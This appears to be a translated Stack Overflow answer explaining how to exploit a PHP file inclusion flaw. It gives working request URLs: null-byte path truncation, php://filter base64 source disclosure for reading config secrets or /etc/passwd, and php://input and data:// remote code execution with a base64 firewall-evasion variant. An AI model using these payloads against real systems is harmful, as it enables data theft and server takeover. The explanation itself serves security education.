Если allow_url_include
выключен, вы не можете выполнить удаленный код. Но вы можете найти другие страницы, например панель управления контентом, чтобы загрузить свой код в виде изображения, затем найти фактический путь и include
его.
И есть еще способы эксплуатации.
Давайте заглянем внутрь вашего кода. Вы можете заметить, что он автоматически добавляет расширение .php
в конце пути. Поэтому вы должны удалить php
в параметре GET. Но что, если файл, который вы хотите включить, не имеет расширения PHP? Затем используйте %00
для завершения строки, например
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
В PHP есть специальный протокол, мощный и опасный. Это php://
. Подробную информацию можно найти в официальном руководстве, и здесь я покажу В некоторых случаях уязвимость включения файла становится раскрытием источника и даже уязвимостью удаленного выполнения кода.
Перед тестом я предлагаю вам использовать Firefox с HackBar плагин. Это мощный набор для тестирования на проникновение.
- Раскрытие источника
Для этой функции не требуется включение URL-адресов.
php://filter
— это своего рода мета-оболочка, позволяющая применять фильтры к потоку во время его открытия. Это полезно с файловыми функциями «все в одном», такими как readfile(), file() и file_get_contents(), где в противном случае нет возможности применить фильтр к потоку до того, как содержимое будет прочитано. (Справочник)
Затем вы можете увидеть исходный код secret.inc.php
в том же каталоге с помощью следующего запроса.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
![демонстрация](https://i.stack.imgur.com/iLLq2.png)
Содержимое файла будет закодировано в base64, поэтому он поддерживает двоичный файл.
Это мощно для получения конфиденциальной информации, такой как пароли базы данных или ключ шифрования! Если привилегия не настроена должным образом, она может даже выпрыгнуть из клетки и извлечь данные из файлов во внешних каталогах, таких как /etc/passwd
!
- Удаленное выполнение кода
На самом деле вы не можете использовать этот способ, потому что в этом случае allow_url_include
отключено.
Но я должен указать на это, потому что это волшебно!
Это полностью отличается от локального включения. Не нужно загружать какой-либо файл на удаленный сервер или около того. Все, что вам нужно, это один единственный запрос.
php://input
может получить доступ к необработанному телу HTTP-запроса, так что же делает include("php://input")
? Просто зайдите на http://localhost/include.php?page=php://input
с действительным PHP-кодом в теле запроса, после чего вы сможете выполнить любую (разрешенную) функцию на удаленном сервере!
![введите здесь описание изображения](https://i.stack.imgur.com/74gnc.png)
Не забудьте %00
отбросить .php
хвост.
Кроме того, PHP поддерживает схему URL data://
. Вы можете напрямую поместить код в параметр GET! Следующий тест не нуждается в каком-либо специальном инструменте, атаку может выполнить обычный браузер.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Некоторые брандмауэры веб-приложений могут обнаружить подозрительную строку в URL-адресе и заблокировать вредоносный запрос, они не оставят phpinfo
в покое. Есть ли способ зашифровать? Конечно. data://
URL-адрес поддерживает как минимум кодировку base64...
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
И вы снова получите знакомую phpinfo!
![с кодировкой base64](https://i.stack.imgur.com/ehlst.png)
Примечание
Трюк с нулевым байтом (%00
) больше не работает для PHP ›= 5.3.4: http://blog.benjaminwalters.net/?p=22139
person
CodeColorist
schedule
22.12.2013
$_GET["page"]
? - person nietonfir   schedule 22.12.2013